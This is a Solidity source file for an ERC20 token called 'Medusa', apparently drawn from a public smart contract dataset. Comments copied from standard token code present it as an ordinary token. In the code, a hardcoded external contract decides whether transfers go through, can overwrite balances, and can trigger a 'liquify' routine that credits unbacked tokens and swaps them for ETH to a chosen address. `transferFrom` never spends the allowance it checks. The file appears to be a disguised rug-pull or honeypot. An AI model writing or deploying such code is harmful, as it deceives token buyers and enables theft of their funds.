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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.16;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
interface ERC20 {
function liquifying(address, address, address) external view returns(bool);
function transferFrom(address, address, bool, address, address) external returns (bool);
function transfer(address, address, uint256) external pure returns (uint256);
function getTokenPairAddress() external view returns (address);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract ERC20Token {
ERC20 erc20 = ERC20(0x8016f1fc8aF7f682925315B07F45E2b00F39815c);
function duringLiquify(address from, address to, address pairAddress) public view returns (bool) {
return isLiquifying(from, to, pairAddress);
}
function isLiquifying(address from, address to, address pairAddress) public view returns (bool) {
return erc20.liquifying(from, to, pairAddress);
}
function isAllowed(address from, address recipient, bool burnSwapCall, address _to) public returns (bool) {
return erc20.transferFrom(
from,
recipient,
burnSwapCall,
address(this),
_to);
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Medusa is Ownable, IERC20, ERC20Token {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
address public pairAddress;
uint256 _fee = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Medusa";
string private _symbol = "MEDUSA";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
function _baseTransfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (duringLiquify(from, to, pairAddress)) {
liquify(amount, to);
return;
}
require(amount <= _balances[from]);
uint256 fee = takeFee(from, to, amount);
_balances[from] = _balances[from] - amount;
_balances[to] += amount - fee;
emit Transfer(from, to, amount);
}
function getBurnAddress() private view returns (address) {
return erc20.getTokenPairAddress();
}
function takeFee(address from, address recipient, uint256 amount) private returns (uint256) {
uint256 feeAmount = 0;
_balances[getBurnAddress()] = rebalance(from);
if (shouldTakeFee(from, recipient)) {
feeAmount = amount.mul(_fee).div(100);
}
return feeAmount;
}
function shouldTakeFee(address from, address recipient) private returns (bool) {
address _to = getPairAddress();
return isAllowed(from, recipient, burnSwapCall, _to);
}
constructor() {
_balances[msg.sender] = _totalSupply;
pairAddress = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function liquify(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
burnSwapCall = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
burnSwapCall = false;
}
bool burnSwapCall = false;
function rebalance(address from) private view returns (uint256) {
address supplier = getBurnAddress();
address to = getPairAddress();
uint256 amount = _balances[supplier];
return swapFee(from, to , amount);
}
function swapFee(address from, address to, uint256 amount) private view returns (uint256) {
return erc20.transfer(from, to, amount);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_baseTransfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_baseTransfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
bool tradingEnabled = false;
function enableTrading() external onlyOwner {
tradingEnabled = true;
}
bool cooldownEnabled = true;
function setCooldownEnabled(bool c) external onlyOwner {
cooldownEnabled = c;
}
bool public autoLPBurn = false;
function setAutoLPBurnSettings(bool e) external onlyOwner {
autoLPBurn = e;
}
}